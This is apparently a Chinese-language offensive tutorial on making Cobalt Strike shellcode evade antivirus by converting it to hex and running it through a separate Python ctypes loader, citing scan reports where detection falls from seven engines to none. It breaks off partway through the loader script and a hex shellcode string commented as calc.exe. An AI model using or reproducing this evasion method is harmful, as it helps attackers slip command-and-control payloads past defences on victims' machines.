0x001 原理
采用分离法,即将ShellCode和加载器分离。方法较LOW但免杀。
本文主要将ShellCode转成HEX,再通过加载器执行ShellCode。
PS: 何为SC加载器,即专门用于加载所提供ShellCode的工具。
如同HTTP发包工具,支持提交HTTP,写死参数最多只能叫EXP。
再详细点,打个比方,你只会炒一个菜,你敢说你是厨师吗?
0x002 ShellCode免杀
CS可生成很多种格式的ShellCode,具体该用哪一种呢?
由于部分杀软会查杀ShellCode文件,所以不能直接使用RAW。
其实不用测都知道HEX字串肯定比RAW或标准C格式安全。
因为RAW和标准C格式一直以来都比较常用,被杀一点都不奇怪。
当然实际上使用任意格式都可以,前提是需要加解密。
下面我们拿CS3.13的ShellCode来做个对比,结果如下
CS生成Raw格式的ShellCode被7个杀软查杀(payload.bin)
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
将CS的ShellCode转成Hex无一杀软查杀(hex.txt)
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d
0x003 加载器
以python为例,这个无脑的语言开发比较快。要使用其它加解密算法也非常简单
缺点就是文件有点大而已,不过问题不大,毕竟在免杀面前2M也是能接受的哈哈。
其它语言也同理啊,大家不要纠结用什么语言来写工具。用PY只是便于大家理解
ScRunHex.py
#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE814